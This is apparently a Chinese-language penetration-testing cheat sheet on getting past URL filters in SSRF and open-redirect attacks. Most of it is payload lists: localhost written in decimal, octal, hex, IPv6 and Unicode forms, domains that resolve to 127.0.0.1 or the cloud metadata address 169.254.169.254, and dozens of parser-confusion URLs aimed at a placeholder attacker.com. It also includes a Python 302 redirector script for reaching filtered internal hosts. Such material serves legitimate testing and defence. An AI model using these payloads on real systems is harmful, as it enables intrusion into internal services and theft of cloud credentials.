扩展

@

在 URL 中,@ 符号通常用于指示用户名和密码的身份验证信息。在基本身份验证(Basic Authentication)中,用户名和密码可以被包含在 URL 中,格式为:http(s)://username:password@host/path

其中,username 和 password 表示需要身份验证的用户名和密码,host 表示要访问的主机名或 IP 地址,path 表示要访问的资源路径。

但是,使用 @ 符号来传递身份验证信息有一些安全风险,因为它会使得密码以明文形式出现在 URL 中,容易被拦截并窃取。因此,在较新的浏览器版本中,这种方式已经不再被推荐使用,而是使用更安全的方式,如添加 HTTP 头部进行身份验证。

所以我们可以在利用时使用:

  1. http://abc@127.0.0.1 # 表明是使用 abc 用户访问
  2. https://expected-host@evil-host # 意思是使用 HTTPS 协议连接 evil-host 主机,并在连接过程中指定预期的主机名为 expected-host

#

在 URL 中我们使用 #来标明分段

  1. https://evil-host#expected-host

DNS 命名层次结构

  • 使用 DNS 命名层次结构将所需输入放入我们控制的完全限定 DNS 名称
  1. https://expected-host.evil-host
  2. # 原理是DNS解析。xip.io可以指向任意域名,即
  3. 127.0.0.1.xip.io,可解析为127.0.0.1

Localhost

  1. # Localhost
  2. http://127.0.0.1:80
  3. http://127.0.0.1:443
  4. http://127.0.0.1:22
  5. http://127.1:80
  6. http://0
  7. http:@0/ --> http://localhost/
  8. http://0.0.0.0:80
  9. http://localhost:80
  10. http://[::]:80/
  11. http://[::]:25/ SMTP
  12. http://[::]:3128/ Squid
  13. http://[0000::1]:80/
  14. http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
  15. http://①②⑦.⓪.⓪.⓪
  16. # CDIR bypass
  17. http://127.127.127.127
  18. http://127.0.1.3
  19. http://127.0.0.0
  20. # . bypass
  21. 127001
  22. 127%E3%80%820%E3%80%820%E3%80%821
  23. # 十进制 bypass
  24. http://2130706433/ = http://127.0.0.1
  25. http://3232235521/ = http://192.168.0.1
  26. http://3232235777/ = http://192.168.1.1
  27. # 八进制 Bypass
  28. http://0177.0000.0000.0001
  29. http://00000177.00000000.00000000.00000001
  30. http://017700000001
  31. # 十六进制 bypass
  32. 127.0.0.1 = 0x7f 00 00 01
  33. http://0x7f000001/ = http://127.0.0.1
  34. http://0xc0a80014/ = http://192.168.0.20
  35. 0x7f.0x00.0x00.0x01
  36. 0x0000007f.0x00000000.0x00000000.0x00000001
  37. # 也可以使用混合不同的编码格式
  38. # https://www.silisoftware.com/tools/ipconverter.php
  39. # Malformed and rare
  40. localhost:+11211aaa
  41. localhost:00011211aaaa
  42. http://0/
  43. http://127.1
  44. http://127.0.1
  45. # DNS to localhost
  46. localtest.me = 127.0.0.1
  47. customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
  48. mail.ebc.apple.com = 127.0.0.6 (localhost)
  49. 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
  50. www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
  51. http://customer1.app.localhost.my.company.127.0.0.1.nip.io
  52. http://bugbounty.dod.network = 127.0.0.2 (localhost)
  53. 1ynrnhl.xip.io == 169.254.169.254
  54. spoofed.burpcollaborator.net = 127.0.0.1

URL Format ByPass - 图1

Domain Parser

  1. https:attacker.com
  2. https:/attacker.com
  3. http:/\/\attacker.com
  4. https:/\attacker.com
  5. //attacker.com
  6. \/\/attacker.com/
  7. /\/attacker.com/
  8. /attacker.com
  9. %0D%0A/attacker.com
  10. #attacker.com
  11. #%20@attacker.com
  12. @attacker.com
  13. http://169.254.1698.254\@attacker.com
  14. attacker%00.com
  15. attacker%E3%80%82com
  16. attackercom
  17. ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ

Domain Confusion

  1. # 也可以尝试将 attacker.com 修改为 127.0.0.1 以尝试访问本地主机
  2. http://{domain}@attacker.com
  3. http://{domain}%6D@attacker.com
  4. https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
  5. http://attacker.com#{domain}
  6. http://{domain}.attacker.com
  7. http://attacker.com/{domain}
  8. http://attacker.com/?d={domain}
  9. https://{domain}@attacker.com
  10. https://attacker.com#{domain}
  11. https://{domain}.attacker.com
  12. https://attacker.com/{domain}
  13. https://attacker.com/?d={domain}
  14. http://{domain}@attacker.com
  15. http://attacker.com#{domain}
  16. http://{domain}.attacker.com
  17. http://attacker.com/{domain}
  18. http://attacker.com/?d={domain}
  19. http://attacker.com%00{domain}
  20. http://attacker.com?{domain}
  21. http://attacker.com///{domain}
  22. https://attacker.com%00{domain}
  23. https://attacker.com%0A{domain}
  24. https://attacker.com?{domain}
  25. https://attacker.com///{domain}
  26. https://attacker.com\{domain}/
  27. https://attacker.com;https://{domain}
  28. https://attacker.com\{domain}/
  29. https://attacker.com\.{domain}
  30. https://attacker.com/.{domain}
  31. https://attacker.com\@@{domain}
  32. https://attacker.com:\@@{domain}
  33. https://attacker.com#\@{domain}
  34. https://attacker.com\anything@{domain}/
  35. # On each IP position try to put 1 attackers domain and the others the victim domain
  36. http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
  37. # 参数污染
  38. next={domain}&next=attacker.com

Path and Extensions ByPass

如果你被要求URL必须以路径或扩展名结尾,或者必须包含一个路径,你可以尝试以下的绕过方法之一:

  1. https://metadata/vulerable/path#/expected/path
  2. https://metadata/vulerable/path#.extension
  3. https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

工具recollapse可以从一个给定的输入中产生变化,以试图绕过所使用的重合词。更多信息请查看 Till REcollapse - 0xacb

通过重定向绕过

可能是服务器过滤了SSRF的原始请求,但没有过滤对该请求可能的重定向响应。

例如,一个容易受到SSRF攻击的服务器通过:url=https://www.google.com/ 可能会过滤url参数。但是,如果你使用一个Python服务器,用302响应你想重定向的地方,你可能能够访问被过滤的IP地址,如127.0.0.1,甚至被过滤的协议,如 gopher

https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530

  1. #!/usr/bin/env python3
  2. #python3 ./redirector.py 8000 http://127.0.0.1/
  3. import sys
  4. from http.server import HTTPServer, BaseHTTPRequestHandler
  5. if len(sys.argv)-1 != 2:
  6. print("Usage: {} <port_number> <url>".format(sys.argv[0]))
  7. sys.exit()
  8. class Redirect(BaseHTTPRequestHandler):
  9. def do_GET(self):
  10. self.send_response(302)
  11. self.send_header('Location', sys.argv[2])
  12. self.end_headers()
  13. HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Explained Tricks

Blackslash-trick

简而言之, backslash-trick 依赖于利用两个 “URL “规范之间的微小差异:WHATWG URL标准和RFC3986。RFC3986是一个通用的、多用途的统一资源标识符语法规范,而WHATWG URL标准是专门针对网络和URL的(它是URI的一个子集)。现代浏览器执行WHATWG的URL标准。

两者都描述了一种解析URI/URLs的方法,但有一点不同。WHATWG规范描述了一个额外的字符,即/,它的作用就像/:结束主机名和权限,并开始URL的路径

URL Format ByPass - 图2

Other Confusions

URL Format ByPass - 图3